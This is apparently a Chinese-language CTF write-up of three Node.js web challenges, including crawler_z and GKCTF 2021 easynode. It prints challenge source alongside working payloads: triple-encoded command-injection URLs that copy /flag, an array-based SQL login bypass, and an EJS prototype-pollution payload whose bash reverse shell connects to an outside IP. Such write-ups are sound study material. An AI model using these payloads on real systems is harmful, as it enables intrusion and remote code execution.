其实仔细看还是有办法进行绕过的,我们先通过POST 请求下先绕过对href 的检测,这个还是比较简单的,直接利用进制转化0177.0.0.1 或者利用127.1 都可以进行绕过然后再通过POST 请求发送一个json 请求
也就是说可以通过在POST 请求中的body构造一个ssrf漏洞
1 2 3 4 5 request(dest,(err,result,body)=>{ res.json(body); console.log(body); console.log("1"); })
这里来看传入的请求,发现我们已经从POST 请求跳转到了GET 请求中,
同时由于我们构造的请求的ip 为0177.0.0.1 也就绕过了blacklist.indexOf(req.ip)!=-1
的检测,然后我们看到下面
var u=req.query.url.replace(/[\"\']/ig,'');
将两种引号全部过滤了,然后 let log=`echo ‘${url.parse(u).href}’>>/tmp/log`; ,最后res.json({data:fs.readFileSync('/tmp/log').toString()});
,也就是说我们可以通过使用exec方法,把flag写进/tmp/log,然后读取出flag
那么就想到语句
1 echo 'http://123'cp /flag /tmp/log'>>/tmp/log'
先来看一下传入的东西
尝试写入命令
1 http://127.0.0.1'cp /flag /tmp/log
很明显'
被过滤了,但这里可以利用用编码绕过
1 http://127.0.0.1:3007/debug?url=http://127.0.0.1%2527cp /flag /tmp/log
这样整道题的基本思路就已经出来了,然后我们来看一下一些小的东西,为了防止'>>/tmp/log
的干扰,我们直接在接末尾添加**%23进行注销,避免空格过多次的编码,直接利用 $IFS**进行代替
1 2 request(dest,(err,result,body)=>{ res.json(body);
这里仍会对传输进行一次解码,也就是说我们要进行三次编码进行绕过
1 http://0177.0.0.1:3000/debug?url=http://%252527;cp$IFS/flag$IFS/tmp/log;%2523
回到题目环境进行测试,发现前面都是对的,就是传入处的闭合存在问题还
他仍然将整个语句当作字符进行传入,看了一下大佬的文章,发现这里存在node.js 的二次解码,可以通过**@**进行限制,这样我们重新构造payload
1 http://0177.0.0.1:3000/debug?url=http://%252527@a;cp$IFS/flag$IFS/tmp/log;%2523
[2021祥云杯]cralwer_z 在题目之前先记一下sequelize 查询的语句,这道题里面用到了很多
findByPk
通过主键来查询一条记录
1 await UserModel.findByPk(id).then(......
findOne
根据id查询一条记录
1 const favors = await UserModel.findOne()
findAll
查询所有信息
1 const users = await User.findAll();
这里先简单介绍几种常见的,然后我们来看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 const express = require('express'); const crypto = require('crypto'); const utils = require('../utils'); const { User } = require('../database'); const router = express.Router(); router.get('/', async (_, res) => res.render('index')); router.get('/signin', (_, res) => res.render('signin')); router.post('/signin', async (req, res) => { let { username, password } = req.body; if (typeof (username) !== "string" || typeof (password) !== "string") { return res.render('signin', { error: "Parameters error." }); } const user = await User.findOne({ where: { username: username } }); if (!user || !utils.checkPassword(password, user.password)) { return res.render('signin', { error: "Invalid username or password." }); } utils.signIn(req, user) return res.redirect('/user'); }); router.get('/logout', (req, res) => utils.signOut(req, () => res.redirect('/'))); router.get('/signup', (_, res) => res.render('signup')); router.post('/signup', async (req, res) => { let { username, password, password_confirm } = req.body; if (typeof (username) !== "string" || typeof (password) !== "string" || typeof (password_confirm) !== "string") { return res.render('signup', { error: "Parameters error." }); } if (/^\s*$/.test(username) || /^\s*$/.test(password) || /^\s*$/.test(password_confirm)) { return res.render('signup', { error: `Paramaters can't be empty.` }); } if (password !== password_confirm) { return res.render('signup', { error: `Password doesn't match.` }); } try { const user = await User.findOne({ where: { username: username } }); if (user !== null) { return res.render('signup', { error: "User already exists." }); } else { await User.create({ username: username, password: utils.hashPassword(password), bucket: `https://${crypto.randomBytes(16).toString('hex')}.oss-cn-beijing.ichunqiu.com/` }); } } catch (err) { return res.render('signup', { error: "Error creating user." }); } return res.redirect('/signin'); }); module.exports = router;
简单审计了一下index.js ,很基础的一个登录注册,没什么东西,唯一一个看起来感觉可能有点东西的 bucket: https://${crypto.randomBytes(16).toString('hex')}.oss-cn-beijing.ichunqiu.com/
,这里先记下不提
看一下user.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 const express = require('express'); const crypto = require('crypto'); const createError = require('http-errors'); const { Op } = require('sequelize'); const { User, Token } = require('../database'); const utils = require('../utils'); const Crawler = require('../crawler'); const router = express.Router(); router.get('/', async (req, res) => { const user = await User.findByPk(req.session.userId) return res.render('index', { username: user.username }); }); router.get('/profile', async (req, res) => { const user = await User.findByPk(req.session.userId); return res.render('user', { user }); }); router.post('/profile', async (req, res, next) => { let { affiliation, age, bucket } = req.body; const user = await User.findByPk(req.session.userId); if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") { return res.render('user', { user, error: "Parameters error or blank." }); } if (!utils.checkBucket(bucket)) { return res.render('user', { user, error: "Invalid bucket url." }); } let authToken; try { await User.update({ affiliation, age, personalBucket: bucket }, { where: { userId: req.session.userId } }); const token = crypto.randomBytes(32).toString('hex'); authToken = token; await Token.create({ userId: req.session.userId, token, valid: true }); await Token.update({ valid: false, }, { where: { userId: req.session.userId, token: { [Op.not]: authToken } } }); } catch (err) { next(createError(500)); } if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) { res.redirect(`/user/verify?token=${authToken}`) } else { // Well, admin won't do that actually XD. return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." }); } }); router.get('/verify', async (req, res, next) => { let { token } = req.query; if (!token || typeof (token) !== "string") { return res.send("Parameters error"); } let user = await User.findByPk(req.session.userId); const result = await Token.findOne({ token, userId: req.session.userId, valid: true }); if (result) { try { await Token.update({ valid: false }, { where: { userId: req.session.userId } }); await User.update({ bucket: user.personalBucket }, { where: { userId: req.session.userId } }); user = await User.findByPk(req.session.userId); return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" }); } catch (err) { next(createError(500)); } } else { user = await User.findByPk(req.session.userId); return res.render('user', { user, message: "Failed to update, check your token carefully" }) } }) // Not implemented yet router.get('/bucket', async (req, res) => { const user = await User.findByPk(req.session.userId); if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(user.bucket)) { return res.json({ message: "Sorry but our remote oss server is under maintenance" }); } else { // Should be a private site for Admin try { const page = new Crawler({ userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36', referrer: 'https://www.ichunqiu.com/', waitDuration: '3s' }); await page.goto(user.bucket); const html = page.htmlContent; const headers = page.headers; const cookies = page.cookies; await page.close(); return res.json({ html, headers, cookies}); } catch (err) { return res.json({ err: 'Error visiting your bucket. ' }) } } }); module.exports = router;
/profile 路由下get 传参没东西,POST 传参将bucket 赋值给personalBucket ,更新数据库生成token ,然后对传入的bucket 进行正则表达式判断,成功后执行重定向到**/verify路由下,并打印 token**
ok然后来看**/verify**路由
先对token 进行检测,检测通过后根据req.session.userId 查询第一条信息,查询到跟新valid: false
,同时传输bucket: user.personalBucket
最后看到第三个路由**/bucket**
根据req.session.userId 查找到信息,对user.bucket 进行正则表达检测,通过检测后创建一个新对象Crawler ,调用goto 方法,最后发送一个请求
我们先去看一下goto 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 goto(url) { return new Promise((resolve, reject) => { try { this.crawler.visit(url, () => { const resource = this.crawler.resources.length ? this.crawler.resources.filter(resource => resource.response).shift() : null; this.statusCode = resource.response.status this.headers = this.getHeaders(); this.cookies = this.getCookies(); this.htmlContent = this.getHtmlContent(); resolve(); }); } catch (err) { reject(err.message); } }) }
goto 方法实现this.crawler.visit ,返回第一个有效的具有resource 属性的对象,也就是我们传入的一个url参数,而这个url正好是我们一直在传递的user.bucket
所以我们来捋一下思路
这里我们前后两次用到正则表达,第一次我们需要正则表达成功,才能跳转到**/verify**路由,而第二次我们则需要正则表达失败,去实现发送请求
而跟踪bucket 我们可以发现他在访问**/profile路由时就会存入 personalBucket,那也就是说我们同时发送两个请求访问 /profile路由,第二个请求中的 bucket会对 personalBucket造成覆盖,完成覆盖后我们在让其跳转到 /verify路由,就可以实现我们对 personalBucket**控制
然后我们利用goto 方法,去实现反弹shell 或者 cat /flag
前面的都挺好理解的,这里就不做演示,但我最后一步应该是传进去了,连接没有成功,不知道为什么了,先放着,以后再说
[GKCTF 2021]easynode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 const express = require('express'); const format = require('string-format'); const { select,close } = require('./tools'); const app = new express(); var extend = require("js-extend").extend const ejs = require('ejs'); const {generateToken,verifyToken} = require('./encrypt'); var cookieParser = require('cookie-parser'); app.use(express.urlencoded({ extended: true })); app.use(express.static((__dirname+'/public/'))); app.use(cookieParser()); const decode = (str) =>{ str = str.replace(/\'/g,'\\\''); return str; } let safeQuery = async (username,password)=>{ const waf = (str)=>{ blacklist = ['\\','\^',')','(','\"','\''] blacklist.forEach(element => { if (str == element){ str = "*"; } }); return str; } const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){ if (waf(str[i]) =="*"){ str = str.slice(0, i) + "*" + str.slice(i + 1, str.length); } } return str; } username = safeStr(username); password = safeStr(password); let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20)); result = JSON.parse(JSON.stringify(await select(sql))); return result; } app.get('/', async(req,res)=>{ const html = await ejs.renderFile(__dirname + "/public/index.html") res.writeHead(200, {"Content-Type": "text/html"}); res.end(html) }) app.post('/login',function(req,res,next){ let username = req.body.username; let password = req.body.password; safeQuery(username,password).then( result =>{ if(result[0]){ const token = generateToken(username) res.json({ "msg":"yes","token":token }); } else{ res.json( {"msg":"username or password wrong"} ); } } ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});}); }) app.get("/admin",async (req,res,next) => { const token = req.cookies.token let result = verifyToken(token); if (result !='err'){ username = result var sql = `select board from board where username = "${username}"`; var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); board = JSON.parse(query[0].board); const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username}) res.writeHead(200, {"Content-Type": "text/html"}); res.end(html) } else{ res.json({'msg':'stop!!!'}); } }); app.post("/addAdmin",async (req,res,next) => { let username = req.body.username; let password = req.body.password; const token = req.cookies.token let result = verifyToken(token); if (result !='err'){ gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}}); var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password); select(sql).then(close()).catch( (err)=>{console.log(err)}); var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift); select(sql).then(close()).catch( (err)=>{console.log(err)}); res.end('add admin successful!') } else{ res.end('stop!!!'); } }); app.post("/adminDIV",async(req,res,next) =>{ const token = req.cookies.token var data = JSON.parse(req.body.data) let result = verifyToken(token); if(result !='err'){ username = result; var sql =`select board from board where username = "${username}"`; var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); board = JSON.parse(JSON.stringify(query[0].board)); for(var key in data){ var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`; extend({},JSON.parse(addDIV)); } sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'` select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});}); res.json({"msg":'addDiv successful!!!'}); } else{ res.end('nonono'); } }); app.listen(1337, () => { console.log(`App listening at port 1337`) })
这里简单审计一下,发现存在漏洞点
1 2 3 var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`; extend(board,JSON.parse(addDIV));
看到这个合理想到
1 2 {'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/9001 0>&1\"');var __tmp2"}}
关于为什么调用outputFunctionName ,这里贴一个博客 这里有具体讲了调用outputFunctionName 原因
这样我们只需要控制**${username}** ${key} 和 **${data[key]}**这三个变量,就可以实现原型链的污染,然后我们来仔细看这三个变量的控制,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 var data = JSON.parse(req.body.data) let result = verifyToken(token); if(result !='err'){ username = result; var sql =`select board from board where username = "${username}"`; var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); board = JSON.parse(JSON.stringify(query[0].board)); for(var key in data){ var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`; extend({},JSON.parse(addDIV)); } sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'` select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});}); res.json({"msg":'addDiv successful!!!'}); } else{ res.end('nonono'); } });
也就是需要构造date 和username ,这里还有一个对token的验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 const verifyToken = (data) => { let token = data; let cert = fs.readFileSync(path.join(__dirname, './pem/key.key'));//公钥 可以自己生成 let res; try { let result = jwt.verify(token, cert) // let result = jwt.verify(token, cert) || {}; _id = result.data; _date = result.exp; _creatDate = result.iat; let {exp = 0} = result, current = Math.floor(Date.now() / 1000); if (current <= exp) { res = result.data || {}; } } catch (e) { res = 'err'; } return res; }
其实仔细看语句可以发现
1 sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
username 应该是当作用户名传入的,我们只需要在**/addAdmin路由下创建一个 _proto _**身份的账号,而 ${key}和 ${data[key]}直接从 req.body.data 传入即可
那么token 又从哪里来呢
那么我们继续向上追踪
1 2 3 4 5 6 if(result[0]){ const token = generateToken(username) res.json({ "msg":"yes","token":token }); }
这里可以输出token
1 2 3 4 let username = req.body.username; let password = req.body.password; safeQuery(username,password).then( result =>{
但最前面存在一层检测,所以整体思路就以及很明显了,绕过对username 和password 的检测,获得我们需要的token,同时构造username 完成我们对原型链污染的构造
这样我们就先来看怎么绕过这层检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 let safeQuery = async (username,password)=>{ const waf = (str)=>{ blacklist = ['\\','\^',')','(','\"','\''] blacklist.forEach(element => { if (str == element){ str = "*"; } }); return str; } const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){ if (waf(str[i]) =="*"){ str = str.slice(0, i) + "*" + str.slice(i + 1, str.length); } } return str; } username = safeStr(username); password = safeStr(password); let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20)); result = JSON.parse(JSON.stringify(await select(sql))); return result; }
对一些特殊字符进行替换,同时检测username 和password 的长度,这里对字符的检测的判断运用**==弱比较,也就是我我们同样可以利用 username[]**数组的形式进行绕过,但单使用数组绕过不成功
我们来看到substr 函数的定义
从字符串中返回一个指定的子串
也就是说我们还得利用到JavaScript的性质 str = str.slice(0, i) + "*" + str.slice(i + 1, str.length)
,通过拼接将数组转化成字符串
这里一开始很好奇这样就可以构造完成了,而且不会超出限制,那么substr 函数限制20个字符的意义是什么,操作的时候发现不对,没有达到一定长就无法成功登录,这里应该也是因为substr 函数的原因
1 username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123
得到token 后去**/addAdmin创建一个 proto **账号
然后再**/adminDIV路由下传入 data**
1 data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/9001 0>&1\"');var __tmp2"}
这里应该是也可以直接进行命令执行的
1 data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('cat /flag');var __tmp2"}
我这里环境烂球了,懒得接着做测试了,就这样吧